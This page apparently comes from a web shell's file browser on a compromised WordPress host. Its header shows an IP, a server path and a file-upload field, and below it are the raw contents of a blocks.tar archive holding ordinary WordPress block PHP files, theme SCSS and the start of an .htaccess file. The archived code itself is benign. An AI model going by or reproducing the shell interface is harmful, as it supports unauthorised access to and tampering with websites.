Your IP : 216.73.216.162


Current Path : /home/x/b/o/xbodynamge/namtation/wp-content/
Upload File :
Current File : /home/x/b/o/xbodynamge/namtation/wp-content/blocks.tar

shortcode.php000066600000001246151122410370007252 0ustar00<?php
/**
 * Server-side rendering of the `core/shortcode` block.
 *
 * @package WordPress
 */

/**
 * Performs wpautop() on the shortcode block content.
 *
 * @param array  $attributes The block attributes.
 * @param string $content    The block content.
 *
 * @return string Returns the block content.
 */
function render_block_core_shortcode( $attributes, $content ) {
	return wpautop( $content );
}

/**
 * Registers the `core/shortcode` block on server.
 */
function register_block_core_shortcode() {
	register_block_type(
		'core/shortcode',
		array(
			'render_callback' => 'render_block_core_shortcode',
		)
	);
}

add_action( 'init', 'register_block_core_shortcode' );
latest-posts.php000066600000006050151122410370007720 0ustar00<?php
/**
 * Server-side rendering of the `core/latest-posts` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/latest-posts` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the post content with latest posts added.
 */
function render_block_core_latest_posts( $attributes ) {
	$args = array(
		'numberposts' => $attributes['postsToShow'],
		'post_status' => 'publish',
		'order'       => $attributes['order'],
		'orderby'     => $attributes['orderBy'],
	);

	if ( isset( $attributes['categories'] ) ) {
		$args['category'] = $attributes['categories'];
	}

	$recent_posts = wp_get_recent_posts( $args );

	$list_items_markup = '';

	foreach ( $recent_posts as $post ) {
		$post_id = $post['ID'];

		$title = get_the_title( $post_id );
		if ( ! $title ) {
			$title = __( '(Untitled)' );
		}
		$list_items_markup .= sprintf(
			'<li><a href="%1$s">%2$s</a>',
			esc_url( get_permalink( $post_id ) ),
			esc_html( $title )
		);

		if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) {
			$list_items_markup .= sprintf(
				'<time datetime="%1$s" class="wp-block-latest-posts__post-date">%2$s</time>',
				esc_attr( get_the_date( 'c', $post_id ) ),
				esc_html( get_the_date( '', $post_id ) )
			);
		}

		$list_items_markup .= "</li>\n";
	}

	$class = 'wp-block-latest-posts';
	if ( isset( $attributes['align'] ) ) {
		$class .= ' align' . $attributes['align'];
	}

	if ( isset( $attributes['postLayout'] ) && 'grid' === $attributes['postLayout'] ) {
		$class .= ' is-grid';
	}

	if ( isset( $attributes['columns'] ) && 'grid' === $attributes['postLayout'] ) {
		$class .= ' columns-' . $attributes['columns'];
	}

	if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) {
		$class .= ' has-dates';
	}

	if ( isset( $attributes['className'] ) ) {
		$class .= ' ' . $attributes['className'];
	}

	$block_content = sprintf(
		'<ul class="%1$s">%2$s</ul>',
		esc_attr( $class ),
		$list_items_markup
	);

	return $block_content;
}

/**
 * Registers the `core/latest-posts` block on server.
 */
function register_block_core_latest_posts() {
	register_block_type(
		'core/latest-posts',
		array(
			'attributes'      => array(
				'categories'      => array(
					'type' => 'string',
				),
				'className'       => array(
					'type' => 'string',
				),
				'postsToShow'     => array(
					'type'    => 'number',
					'default' => 5,
				),
				'displayPostDate' => array(
					'type'    => 'boolean',
					'default' => false,
				),
				'postLayout'      => array(
					'type'    => 'string',
					'default' => 'list',
				),
				'columns'         => array(
					'type'    => 'number',
					'default' => 3,
				),
				'align'           => array(
					'type' => 'string',
				),
				'order'           => array(
					'type'    => 'string',
					'default' => 'desc',
				),
				'orderBy'         => array(
					'type'    => 'string',
					'default' => 'date',
				),
			),
			'render_callback' => 'render_block_core_latest_posts',
		)
	);
}

add_action( 'init', 'register_block_core_latest_posts' );
block.php000066600000001533151122410370006351 0ustar00<?php
/**
 * Server-side rendering of the `core/block` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/block` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Rendered HTML of the referenced block.
 */
function render_block_core_block( $attributes ) {
	if ( empty( $attributes['ref'] ) ) {
		return '';
	}

	$reusable_block = get_post( $attributes['ref'] );
	if ( ! $reusable_block || 'wp_block' !== $reusable_block->post_type ) {
		return '';
	}

	if ( 'publish' !== $reusable_block->post_status || ! empty( $reusable_block->post_password ) ) {
		return '';
	}

	return do_blocks( $reusable_block->post_content );
}

register_block_type(
	'core/block',
	array(
		'attributes'      => array(
			'ref' => array(
				'type' => 'number',
			),
		),

		'render_callback' => 'render_block_core_block',
	)
);
latest-comments.php000066600000012526151122410370010402 0ustar00<?php
/**
 * Server-side rendering of the `core/latest-comments` block.
 *
 * @package WordPress
 */

/**
 * Get the post title.
 *
 * The post title is fetched and if it is blank then a default string is
 * returned.
 *
 * Copied from `wp-admin/includes/template.php`, but we can't include that
 * file because:
 *
 * 1. It causes bugs with test fixture generation and strange Docker 255 error
 *    codes.
 * 2. It's in the admin; ideally we *shouldn't* be including files from the
 *    admin for a block's output. It's a very small/simple function as well,
 *    so duplicating it isn't too terrible.
 *
 * @since 3.3.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string The post title if set; "(no title)" if no title is set.
 */
function wp_latest_comments_draft_or_post_title( $post = 0 ) {
	$title = get_the_title( $post );
	if ( empty( $title ) ) {
		$title = __( '(no title)' );
	}
	return esc_html( $title );
}

/**
 * Renders the `core/latest-comments` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the post content with latest comments added.
 */
function render_block_core_latest_comments( $attributes = array() ) {
	// This filter is documented in wp-includes/widgets/class-wp-widget-recent-comments.php.
	$comments = get_comments(
		apply_filters(
			'widget_comments_args',
			array(
				'number'      => $attributes['commentsToShow'],
				'status'      => 'approve',
				'post_status' => 'publish',
			)
		)
	);

	$list_items_markup = '';
	if ( ! empty( $comments ) ) {
		// Prime the cache for associated posts. This is copied from \WP_Widget_Recent_Comments::widget().
		$post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) );
		_prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false );

		foreach ( $comments as $comment ) {
			$list_items_markup .= '<li class="wp-block-latest-comments__comment">';
			if ( $attributes['displayAvatar'] ) {
				$avatar = get_avatar(
					$comment,
					48,
					'',
					'',
					array(
						'class' => 'wp-block-latest-comments__comment-avatar',
					)
				);
				if ( $avatar ) {
					$list_items_markup .= $avatar;
				}
			}

			$list_items_markup .= '<article>';
			$list_items_markup .= '<footer class="wp-block-latest-comments__comment-meta">';
			$author_url         = get_comment_author_url( $comment );
			if ( empty( $author_url ) && ! empty( $comment->user_id ) ) {
				$author_url = get_author_posts_url( $comment->user_id );
			}

			$author_markup = '';
			if ( $author_url ) {
				$author_markup .= '<a class="wp-block-latest-comments__comment-author" href="' . esc_url( $author_url ) . '">' . get_comment_author( $comment ) . '</a>';
			} else {
				$author_markup .= '<span class="wp-block-latest-comments__comment-author">' . get_comment_author( $comment ) . '</span>';
			}

			// `_draft_or_post_title` calls `esc_html()` so we don't need to wrap that call in
			// `esc_html`.
			$post_title = '<a class="wp-block-latest-comments__comment-link" href="' . esc_url( get_comment_link( $comment ) ) . '">' . wp_latest_comments_draft_or_post_title( $comment->comment_post_ID ) . '</a>';

			$list_items_markup .= sprintf(
				/* translators: 1: author name (inside <a> or <span> tag, based on if they have a URL), 2: post title related to this comment */
				__( '%1$s on %2$s' ),
				$author_markup,
				$post_title
			);

			if ( $attributes['displayDate'] ) {
				$list_items_markup .= sprintf(
					'<time datetime="%1$s" class="wp-block-latest-comments__comment-date">%2$s</time>',
					esc_attr( get_comment_date( 'c', $comment ) ),
					date_i18n( get_option( 'date_format' ), get_comment_date( 'U', $comment ) )
				);
			}
			$list_items_markup .= '</footer>';
			if ( $attributes['displayExcerpt'] ) {
				$list_items_markup .= '<div class="wp-block-latest-comments__comment-excerpt">' . wpautop( get_comment_excerpt( $comment ) ) . '</div>';
			}
			$list_items_markup .= '</article></li>';
		}
	}

	$class = 'wp-block-latest-comments';
	if ( isset( $attributes['align'] ) ) {
		$class .= " align{$attributes['align']}";
	}
	if ( $attributes['displayAvatar'] ) {
		$class .= ' has-avatars';
	}
	if ( $attributes['displayDate'] ) {
		$class .= ' has-dates';
	}
	if ( $attributes['displayExcerpt'] ) {
		$class .= ' has-excerpts';
	}
	if ( empty( $comments ) ) {
		$class .= ' no-comments';
	}
	$classnames = esc_attr( $class );

	$block_content = ! empty( $comments ) ? sprintf(
		'<ol class="%1$s">%2$s</ol>',
		$classnames,
		$list_items_markup
	) : sprintf(
		'<div class="%1$s">%2$s</div>',
		$classnames,
		__( 'No comments to show.' )
	);

	return $block_content;
}

register_block_type(
	'core/latest-comments',
	array(
		'attributes'      => array(
			'className'      => array(
				'type' => 'string',
			),
			'commentsToShow' => array(
				'type'    => 'number',
				'default' => 5,
				'minimum' => 1,
				'maximum' => 100,
			),
			'displayAvatar'  => array(
				'type'    => 'boolean',
				'default' => true,
			),
			'displayDate'    => array(
				'type'    => 'boolean',
				'default' => true,
			),
			'displayExcerpt' => array(
				'type'    => 'boolean',
				'default' => true,
			),
			'align'          => array(
				'type' => 'string',
				'enum' => array( 'center', 'left', 'right', 'wide', 'full', '' ),
			),
		),
		'render_callback' => 'render_block_core_latest_comments',
	)
);
categories.php000066600000005041151122410370007402 0ustar00<?php
/**
 * Server-side rendering of the `core/categories` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/categories` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the categories list/dropdown markup.
 */
function render_block_core_categories( $attributes ) {
	static $block_id = 0;
	$block_id++;

	$args = array(
		'echo'         => false,
		'hierarchical' => ! empty( $attributes['showHierarchy'] ),
		'orderby'      => 'name',
		'show_count'   => ! empty( $attributes['showPostCounts'] ),
		'title_li'     => '',
	);

	if ( ! empty( $attributes['displayAsDropdown'] ) ) {
		$id                       = 'wp-block-categories-' . $block_id;
		$args['id']               = $id;
		$args['show_option_none'] = __( 'Select Category' );
		$wrapper_markup           = '<div class="%1$s">%2$s</div>';
		$items_markup             = wp_dropdown_categories( $args );
		$type                     = 'dropdown';

		if ( ! is_admin() ) {
			$wrapper_markup .= build_dropdown_script_block_core_categories( $id );
		}
	} else {
		$wrapper_markup = '<ul class="%1$s">%2$s</ul>';
		$items_markup   = wp_list_categories( $args );
		$type           = 'list';
	}

	$class = "wp-block-categories wp-block-categories-{$type}";

	if ( isset( $attributes['align'] ) ) {
		$class .= " align{$attributes['align']}";
	}

	if ( isset( $attributes['className'] ) ) {
		$class .= " {$attributes['className']}";
	}

	$block_content = sprintf(
		$wrapper_markup,
		esc_attr( $class ),
		$items_markup
	);

	return $block_content;
}

/**
 * Generates the inline script for a categories dropdown field.
 *
 * @param string $dropdown_id ID of the dropdown field.
 *
 * @return string Returns the dropdown onChange redirection script.
 */
function build_dropdown_script_block_core_categories( $dropdown_id ) {
	ob_start();
	?>
	<script type='text/javascript'>
	/* <![CDATA[ */
	( function() {
		var dropdown = document.getElementById( '<?php echo esc_js( $dropdown_id ); ?>' );
		function onCatChange() {
			if ( dropdown.options[ dropdown.selectedIndex ].value > 0 ) {
				location.href = "<?php echo home_url(); ?>/?cat=" + dropdown.options[ dropdown.selectedIndex ].value;
			}
		}
		dropdown.onchange = onCatChange;
	})();
	/* ]]> */
	</script>
	<?php
	return ob_get_clean();
}

/**
 * Registers the `core/categories` block on server.
 */
function register_block_core_categories() {
	register_block_type(
		'core/categories',
		array(
			'render_callback' => 'render_block_core_categories',
		)
	);
}

add_action( 'init', 'register_block_core_categories' );
archives.php000066600000006371151122410370007070 0ustar00<?php
/**
 * Server-side rendering of the `core/archives` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/archives` block on server.
 *
 * @see WP_Widget_Archives
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the post content with archives added.
 */
function render_block_core_archives( $attributes ) {
	$show_post_count = ! empty( $attributes['showPostCounts'] );

	$class = 'wp-block-archives';

	if ( isset( $attributes['align'] ) ) {
		$class .= " align{$attributes['align']}";
	}

	if ( isset( $attributes['className'] ) ) {
		$class .= " {$attributes['className']}";
	}

	if ( ! empty( $attributes['displayAsDropdown'] ) ) {

		$class .= ' wp-block-archives-dropdown';

		$dropdown_id = esc_attr( uniqid( 'wp-block-archives-' ) );
		$title       = __( 'Archives' );

		/** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */
		$dropdown_args = apply_filters(
			'widget_archives_dropdown_args',
			array(
				'type'            => 'monthly',
				'format'          => 'option',
				'show_post_count' => $show_post_count,
			)
		);

		$dropdown_args['echo'] = 0;

		$archives = wp_get_archives( $dropdown_args );

		switch ( $dropdown_args['type'] ) {
			case 'yearly':
				$label = __( 'Select Year' );
				break;
			case 'monthly':
				$label = __( 'Select Month' );
				break;
			case 'daily':
				$label = __( 'Select Day' );
				break;
			case 'weekly':
				$label = __( 'Select Week' );
				break;
			default:
				$label = __( 'Select Post' );
				break;
		}

		$label = esc_attr( $label );

		$block_content = '<label class="screen-reader-text" for="' . $dropdown_id . '">' . $title . '</label>
	<select id="' . $dropdown_id . '" name="archive-dropdown" onchange="document.location.href=this.options[this.selectedIndex].value;">
	<option value="">' . $label . '</option>' . $archives . '</select>';

		$block_content = sprintf(
			'<div class="%1$s">%2$s</div>',
			esc_attr( $class ),
			$block_content
		);
	} else {

		$class .= ' wp-block-archives-list';

		/** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */
		$archives_args = apply_filters(
			'widget_archives_args',
			array(
				'type'            => 'monthly',
				'show_post_count' => $show_post_count,
			)
		);

		$archives_args['echo'] = 0;

		$archives = wp_get_archives( $archives_args );

		$classnames = esc_attr( $class );

		if ( empty( $archives ) ) {

			$block_content = sprintf(
				'<div class="%1$s">%2$s</div>',
				$classnames,
				__( 'No archives to show.' )
			);
		} else {

			$block_content = sprintf(
				'<ul class="%1$s">%2$s</ul>',
				$classnames,
				$archives
			);
		}
	}

	return $block_content;
}

/**
 * Register archives block.
 */
function register_block_core_archives() {
	register_block_type(
		'core/archives',
		array(
			'attributes'      => array(
				'align'             => array(
					'type' => 'string',
				),
				'className'         => array(
					'type' => 'string',
				),
				'displayAsDropdown' => array(
					'type'    => 'boolean',
					'default' => false,
				),
				'showPostCounts'    => array(
					'type'    => 'boolean',
					'default' => false,
				),
			),
			'render_callback' => 'render_block_core_archives',
		)
	);
}

add_action( 'init', 'register_block_core_archives' );
_blocks.scss000066600000040545151124050560007070 0ustar00/* !Block styles */

.entry .entry-content > *,
.entry .entry-summary > * {
	margin: 32px 0;
	max-width: 100%;

	@include postContentMaxWidth();

	@include media(tablet) {
		margin: 32px 0;
	}

	> *:first-child {
		margin-top: 0;
	}

	> *:last-child {
		margin-bottom: 0;
	}

	&.alignwide {
		margin-left: auto;
		margin-right: auto;
		clear: both;

		@include media(tablet) {
			width: 100%;
			max-width: 100%;
		}
	}

	&.alignfull {
		position: relative;
		left: -#{$size__spacing-unit };
		width: calc( 100% + (2 * #{$size__spacing-unit}));
		max-width: calc( 100% + (2 * #{$size__spacing-unit}));
		clear: both;

		@include media(tablet) {
			margin-top: calc(2 * #{$size__spacing-unit});
			margin-bottom: calc(2 * #{$size__spacing-unit});
			left: calc( -12.5% - 75px );
			width: calc( 125% + 150px );
			max-width: calc( 125% + 150px );
		}
	}

	&.alignleft {
		/*rtl:ignore*/
		float: left;
		max-width: calc(5 * (100vw / 12));
		margin-top: 0;
		margin-left: 0;
		/*rtl:ignore*/
		margin-right: $size__spacing-unit;

		@include media(tablet) {
			max-width: calc(4 * (100vw / 12));
			/*rtl:ignore*/
			margin-right: calc(2 * #{$size__spacing-unit});
		}
	}

	&.alignright {
		/*rtl:ignore*/
		float: right;
		max-width: calc(5 * (100vw / 12));
		margin-top: 0;
		margin-right: 0;
		/*rtl:ignore*/
		margin-left: $size__spacing-unit;

		@include media(tablet) {
			max-width: calc(4 * (100vw / 12));
			margin-right: 0;
			/*rtl:ignore*/
			margin-left: calc(2 * #{$size__spacing-unit});
		}
	}
	&.aligncenter {
		margin-left: auto;
		margin-right: auto;

		@include postContentMaxWidth();

		@include media(tablet) {
			margin-left: 0;
			margin-right: 0;
		}
	}
}

/*
 * Unset nested content selector styles
 * - Prevents layout styles from cascading too deeply
 * - helps with plugin compatibility
 */
.entry .entry-content,
.entry .entry-summary {

	.entry-content,
	.entry-summary,
	.entry {
		margin: inherit;
		max-width: inherit;
		padding: inherit;

		@include media(tablet) {
			margin: inherit;
			max-width: inherit;
			padding: inherit;
		}
	}
}

.entry .entry-content {

	//! Paragraphs
	p.has-background {
		padding: 20px 30px;
	}

	//! Audio
	.wp-block-audio {

		width: 100%;

		audio {
			width: 100%;
		}

		&.alignleft audio,
		&.alignright audio {

			max-width: (0.33 * $mobile_width);

			@include media(tablet) {
				max-width: (0.5 * $tablet_width);
			}

			@include media(wide) {
				max-width: (0.33 * $desktop_width);
			}
		}
	}

	//! Video
	.wp-block-video {

		video {
			width: 100%;
		}
	}

	//! Button
	.wp-block-button {

		.wp-block-button__link {
			@include button-transition;
			border: none;
			font-size: $font__size-sm;
			font-family: $font__heading;
			line-height: $font__line-height-heading;
			box-sizing: border-box;
			font-weight: bold;
			text-decoration: none;
			padding: ($size__spacing-unit * .76) $size__spacing-unit;
			outline: none;
			outline: none;

			&:not(.has-background) {
				background-color: $color__background-button;
			}

			&:not(.has-text-color) {
				color: white;
			}

			&:hover {
				color: white;
				background: $color__background-button-hover;
				cursor: pointer;
			}

			&:focus {
				color: white;
				background: $color__background-button-hover;
				outline: thin dotted;
				outline-offset: -4px;
			}
		}

		&:not(.is-style-squared) .wp-block-button__link {
			border-radius: 5px;
		}

		&.is-style-outline .wp-block-button__link,
		&.is-style-outline .wp-block-button__link:focus,
		&.is-style-outline .wp-block-button__link:active {
			@include button-all-transition;
			border-width: 2px;
			border-style: solid;

			&:not(.has-background) {
				background: transparent;
			}

			&:not(.has-text-color) {
				color: $color__background-button;
				border-color: currentColor;
			}
		}

		&.is-style-outline .wp-block-button__link:hover {
			color: white;
			border-color: $color__background-button-hover;
		}
	}

	//! Latest posts, categories, archives
	.wp-block-archives,
	.wp-block-categories,
	.wp-block-latest-posts {
		padding: 0;
		list-style: none;

		li {
			color: $color__text-light;
			font-family: $font__heading;
			font-size: calc(#{$font__size_base} * #{$font__size-ratio});
			font-weight: bold;
			line-height: $font__line-height-heading;
			padding-bottom: ( .75 * $size__spacing-unit );

			&.menu-item-has-children,
			&:last-child {
				padding-bottom: 0;
			}

			a {
				text-decoration: none;
			}
		}
	}

	.wp-block-archives,
	.wp-block-categories {

		&.aligncenter {
			text-align: center;
		}
	}

	//! Latest categories
	.wp-block-categories {

		ul {
			padding-top: ( .75 * $size__spacing-unit );
		}

		li ul {
			list-style: none;
			padding-left: 0;
		}

		@include nestedSubMenuPadding();
	}

	//! Latest posts grid view
	.wp-block-latest-posts.is-grid {
		li {
			border-top: 2px solid $color__border;
			padding-top: (1 * $size__spacing-unit);
			margin-bottom: (2 * $size__spacing-unit);
			a {
				&:after {
					content: '';
				}
			}
			&:last-child {
				margin-bottom: auto;
				a:after {
					content: '';
				}
			}
		}
	}

	//! Latest preformatted text
	.wp-block-preformatted {
		font-size: $font__size-xs;
		line-height: 1.8;
		padding: $size__spacing-unit;
	}

	//! Verse
	.wp-block-verse {
		font-family: $font__body;
		font-size: $font__size_base;
		line-height: 1.8;
	}

	//! Paragraphs
	.has-drop-cap {
		&:not(:focus):first-letter {
			font-family: $font__heading;
			font-size: $font__size-xxxl;
			line-height: 1;
			font-weight: bold;
			margin: 0 0.25em 0 0;
		}
	}

	//! Pullquote
	.wp-block-pullquote {
		border-color: transparent;
		border-width: 2px;
		padding: $size__spacing-unit;

		blockquote {
			color: $color__text-main;
			border: none;
			margin-top: calc(4 * #{ $size__spacing-unit});
			margin-bottom: calc(4.33 * #{ $size__spacing-unit});
			margin-right: 0;
			padding-left: 0;
		}

		p {
			font-size: $font__size-lg;
			font-style: italic;
			line-height: 1.3;
			margin-bottom: 0.5em;
			margin-top: 0.5em;

			em {
				font-style: normal;
			}

			@include media(tablet) {
				font-size: $font__size-xl;
			}
		}

		cite {
			display: inline-block;
			font-family: $font__heading;
			line-height: 1.6;
			text-transform: none;
			color: $color__text-light;

			/*
			 * This requires a rem-based font size calculation instead of our normal em-based one,
			 * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
			 */
			font-size: calc(1rem / (1.25 * #{$font__size-ratio}));
		}

		&.alignleft,
		&.alignright {
			width: 100%;
			padding: 0;

			blockquote {
				margin: $size__spacing-unit 0;
				padding: 0;
				text-align: left;
				max-width: 100%;

				p:first-child {
					margin-top: 0;
				}
			}
		}

		&.is-style-solid-color {
			background-color: $color__link;
			padding-left: 0;
			padding-right: 0;

			@include media(tablet) {
				padding-left: 10%;
				padding-right: 10%;
			}

			p {
				font-size: $font__size-lg;
				line-height: 1.3;
				margin-bottom: 0.5em;
				margin-top: 0.5em;

				@include media(tablet) {
					font-size: $font__size-xl;
				}
			}

			a {
				color: $color__background-body;
			}

			cite {
				color: inherit;
			}

			blockquote {
				max-width: 100%;
				color: $color__background-body;
				padding-left: 0;
				margin-left: $size__spacing-unit;
				margin-right: $size__spacing-unit;

				&.has-text-color p,
				&.has-text-color a,
				&.has-primary-color,
				&.has-secondary-color,
				&.has-dark-gray-color,
				&.has-light-gray-color,
				&.has-white-color {
					color: inherit;
				}

				@include media(tablet) {
					margin-left: 0;
					margin-right: 0;
				}
			}

			&.alignright,
			&.alignleft {

				@include media(tablet) {
					padding: $size__spacing-unit calc(2 * #{$size__spacing-unit});
				}
			}

			&.alignfull {

				@include media(tablet) {
					padding-left: calc(10% + 58px + (2 * #{$size__spacing-unit}));
					padding-right: calc(10% + 58px + (2 * #{$size__spacing-unit}));
				}
			}
		}
	}

	//! Blockquote
	.wp-block-quote {

		&:not(.is-large),
		&:not(.is-style-large) {
			border-left: 2px solid $color__link;
			padding-top: 0;
			padding-bottom: 0;
		}

		p {
			font-size: 1em;
			font-style: normal;
			line-height: 1.8;
		}

		cite {
			/*
			 * This requires a rem-based font size calculation instead of our normal em-based one,
			 * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
			 */
			font-size: calc(1rem / (1.25 * #{$font__size-ratio}));
		}

		&.is-large,
		&.is-style-large {
			margin: $size__spacing-unit 0;
			padding: 0;
			border-left: none;

			p {
				font-size: $font__size-lg;
				line-height: 1.4;
				font-style: italic;
			}

			cite,
			footer {
				/*
				 * This requires a rem-based font size calculation instead of our normal em-based one,
				 * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
				 */
				font-size: calc(1rem / (1.25 * #{$font__size-ratio}));
			}

			@include media(tablet) {
				margin: $size__spacing-unit 0;
				padding: $size__spacing-unit 0;

				p {
					font-size: $font__size-lg;
				}
			}
		}
	}

	//! Image
	.wp-block-image {

		img {
			display: block;
		}

		&.alignleft,
		&.alignright {
			max-width: 100%;
		}

		&.alignfull img {
			width: 100vw;

			@include media(tablet) {
				margin-left: auto;
				margin-right: auto;
			}
		}
	}

	//! Cover Image
	.wp-block-cover-image,
	.wp-block-cover {
		position: relative;
		min-height: 430px;
		padding: $size__spacing-unit;

		@include media(tablet) {
			padding: $size__spacing-unit 10%;
		}

		.wp-block-cover-image-text,
		.wp-block-cover-text,
		h2 {
			font-family: $font__heading;
			font-size: $font__size-lg;
			font-weight: bold;
			line-height: 1.25;
			padding: 0;
			color: #fff;

			@include media(tablet) {
				font-size: $font__size-xl;
				max-width: 100%;
			}
		}

		&.alignleft,
		&.alignright {
			width: 100%;

			@include media(tablet) {
				padding: $size__spacing-unit calc(2 * #{$size__spacing-unit});
			}
		}

		&.alignfull {

			.wp-block-cover-image-text,
			.wp-block-cover-text,
			h2 {
				@include postContentMaxWidth();
			}

			@include media(tablet) {
				padding-left: calc(10% + 58px + (2 * #{$size__spacing-unit}));
				padding-right: calc(10% + 58px + (2 * #{$size__spacing-unit}));

				.wp-block-cover-image-text,
				.wp-block-cover-text,
				h2 {
					padding: 0;
				}
			}
		}
	}

	//! Galleries
	.wp-block-gallery {
		list-style-type: none;
		padding-left: 0;

		.blocks-gallery-image:last-child,
		.blocks-gallery-item:last-child {
			margin-bottom: 16px;
		}

		figcaption a {
			color: #fff;
		}
	}

	//! Captions
	.wp-block-audio figcaption,
	.wp-block-video figcaption,
	.wp-block-image figcaption,
	.wp-block-gallery .blocks-gallery-image figcaption,
	.wp-block-gallery .blocks-gallery-item figcaption {
		font-size: $font__size-xs;
		font-family: $font__heading;
		line-height: $font__line-height-pre;
		margin: 0;
		padding: ( $size__spacing-unit * .5 );
		text-align: center;
	}

	//! Separator
	.wp-block-separator,
	hr {
		background-color: $color__text-light;
		border: 0;
		height: 2px;
		margin-bottom: (2 * $size__spacing-unit);
		margin-top: (2 * $size__spacing-unit);
		max-width: 2.25em;
		text-align: left;

		&.is-style-wide {
			max-width: 100%;
			@include postContentMaxWidth();
		}

		&.is-style-dots {
			max-width: 100%;
			@include postContentMaxWidth();
			background-color: inherit;
			border: inherit;
			height: inherit;
			text-align: center;

			&:before {
				color: $color__text-light;
				font-size: $font__size-lg;
				letter-spacing: $font__size-sm;
				padding-left: $font__size-sm;
			}
		}

		/* Remove duplicate rule-line when a separator
		 * is followed by an H1, or H2 */
		& + h1,
		& + h2 {

			&:before {
				display: none;
			}
		}
	}

	//! Twitter Embed
	.wp-block-embed-twitter {
		word-break: break-word;
	}

	//! Table
	.wp-block-table {

		th,
		td {
			border-color: $color__text-light;
		}
	}

	//! File
	.wp-block-file {
		font-family: $font__heading;

		.wp-block-file__button {
			display: table;
			@include button-transition;
			border: none;
			border-radius: 5px;
			background: $color__background-button;
			font-size: $font__size-base;
			font-family: $font__heading;
			line-height: $font__line-height-heading;
			text-decoration: none;
			font-weight: bold;
			padding: ($size__spacing-unit * .75) $size__spacing-unit;
			color: #fff;
			margin-left: 0;
			margin-top: calc(0.75 * #{$size__spacing-unit});

			@include media(desktop) {
				font-size: $font__size-base;
				padding: ($size__spacing-unit * .875) ($size__spacing-unit * 1.5);
			}

			&:hover {
				background: $color__background-button-hover;
				cursor: pointer;
			}

			&:focus {
				background: $color__background-button-hover;
				outline: thin dotted;
				outline-offset: -4px;
			}
		}
	}

	//! Code
	.wp-block-code {
		border-radius: 0;

		code {
			font-size: $font__size-md;
			white-space: pre-wrap;
    	                word-break: break-word;
		}
	}

	//! Columns
	.wp-block-columns {

		&.alignfull {
			padding-left: $size__spacing-unit;
			padding-right: $size__spacing-unit;
		}

		@include media(mobile) {
			flex-wrap: nowrap;
		}

		@include media(tablet) {
			.wp-block-column > * {

				&:first-child {
					margin-top: 0;
				}

				&:last-child {
					margin-bottom: 0;
				}
			}

			&[class*='has-'] > * {
				margin-right: $size__spacing-unit;

				&:last-child {
					margin-right: 0;
				}
			}

			&.alignfull,
			&.alignfull .wp-block-column {
				padding-left: calc(2 * #{$size__spacing-unit});
				padding-right: calc(2 * #{$size__spacing-unit});
			}
		}
	}

	//! Latest Comments
	.wp-block-latest-comments {

		.wp-block-latest-comments__comment-meta {
			font-family: $font__heading;
			font-weight: bold;

			.wp-block-latest-comments__comment-date {
				font-weight: normal;
			}
		}

		.wp-block-latest-comments__comment,
		.wp-block-latest-comments__comment-date,
		.wp-block-latest-comments__comment-excerpt p {
			font-size: inherit;
		}

		&.has-avatars {

		}

		&.has-dates {

			.wp-block-latest-comments__comment-date {
				font-size: $font__size-xs;
			}
		}

		&.has-excerpts {

		}
	}

	//! Font Sizes
	.has-small-font-size {
		font-size: $font__size-sm;
	}

	.has-normal-font-size {
		font-size: $font__size-md;
	}

	.has-large-font-size {
		font-size: $font__size-lg;
	}

	.has-huge-font-size {
		font-size: $font__size-xl;
	}

	//! Custom background colors
	.has-primary-background-color,
	.has-secondary-background-color,
	.has-dark-gray-background-color,
	.has-light-gray-background-color {

		// Use white text against these backgrounds by default.
		color: $color__background-body;

		p,
		h1,
		h2,
		h3,
		h4,
		h5,
		h6,
		a {
			color: $color__background-body;
		}
	}

	.has-white-background-color {
		color: $color__text-main;

		// Use dark gray text against this background by default.
		p,
		h1,
		h2,
		h3,
		h4,
		h5,
		h6,
		a {
			color: $color__text-main;
		}
	}

	.has-primary-background-color,
	.wp-block-pullquote.is-style-solid-color.has-primary-background-color {
		background-color: $color__link;
	}

	.has-secondary-background-color,
	.wp-block-pullquote.is-style-solid-color.has-secondary-background-color {
		background-color: $color__border-link-hover;
	}

	.has-dark-gray-background-color,
	.wp-block-pullquote.is-style-solid-color.has-dark-gray-background-color {
		background-color: $color__text-main;
	}

	.has-light-gray-background-color,
	.wp-block-pullquote.is-style-solid-color.has-light-gray-background-color {
		background-color: $color__text-light;
	}

	.has-white-background-color,
	.wp-block-pullquote.is-style-solid-color.has-white-background-color {
		background-color: #FFF;
	}

	//! Custom foreground colors
	.has-primary-color,
	.wp-block-pullquote.is-style-solid-color blockquote.has-primary-color,
	.wp-block-pullquote.is-style-solid-color blockquote.has-primary-color p {
		color: $color__link;
	}

	.has-secondary-color,
	.wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color,
	.wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color p {
		color: $color__border-link-hover;
	}

	.has-dark-gray-color,
	.wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color,
	.wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color p {
		color: $color__text-main;
	}

	.has-light-gray-color,
	.wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color,
	.wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color p {
		color: $color__text-light;
	}

	.has-white-color,
	.wp-block-pullquote.is-style-solid-color blockquote.has-white-color {
		color: #FFF;
	}
}
.htaccess000066600000000424151124517030006345 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
